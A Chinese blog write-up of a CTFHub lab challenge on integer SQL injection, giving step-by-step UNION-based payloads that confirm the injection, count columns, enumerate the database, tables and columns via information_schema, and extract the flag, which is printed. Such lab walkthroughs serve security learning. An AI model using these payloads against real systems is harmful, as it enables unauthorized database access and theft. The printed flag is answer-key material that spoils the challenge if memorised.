CTFHUB技能树之SQL——整数型注入

开启靶场,打开链接:

直接指明是SQL整数型注入,但还是来判断一下


(1)检查是否存在注入点

1 and 1=1#

返回正确

1 and 1=2#

返回错误

说明存在SQL整数型注入


(2)猜字段数

1 order by 2#

1 order by 3#

说明字段数是2


(3)爆数据库名

1 and 1=2 union select 1,database()#

得知数据库名是sqli


(4)爆表名

1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

显示表名是news表和flag表,其中flag表是我们需要的


(5)爆列名

1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

得知flag表的列名是flag


(6)爆字段内容(flag)

1 and 1=2 union select 1,group_concat(flag) from sqli.flag#

成功的得到flag:

ctfhub{0bdb6d621fc76a06fde34a00}

这里用sqlmap也是可以的,但我提前交了就不想再费时间重开一遍靶场了,待会就在"字符型注入"中试试了

相关推荐
L·S·P3 小时前
25MB 管理 100+ 种数据库:开源轻量客户端 DBX 介绍与上手
数据库·mysql·开源·database·dbx
Johny_Zhao5 小时前
FreeRADIUS + 华为AC/AP + 802.1X/WPA2-Enterprise 无线认证对接部署完整指南
网络·网络安全·信息安全·ldap·radius·huawei·系统运维·centos8
笃行3505 小时前
KingbaseES KSQL Developer 的连接管理、数据处理与对象管理
数据库
andyweike5 小时前
php笔记
开发语言·笔记·php
ha_lydms5 小时前
MaxCompute中加密与解密函数
大数据·数据库·数据仓库·hadoop·dataworks·maxcompute·odps
Shadow(⊙o⊙)6 小时前
MySQL内置函数
数据库·mysql
笃行3506 小时前
金仓 KingbaseES PL/SQL 开发全攻略:异常处理、数据类型、调试优化与过程语句
数据库
xian_wwq7 小时前
【学习笔记】等保合规安全基线核查实战
笔记·学习
鼓掌MVP7 小时前
SQL 语句是一个典型的 DDL
sql·ddl
快乐的木子李7 小时前
mysql-26.7.0-linux26.7.0下载安装
数据库·mysql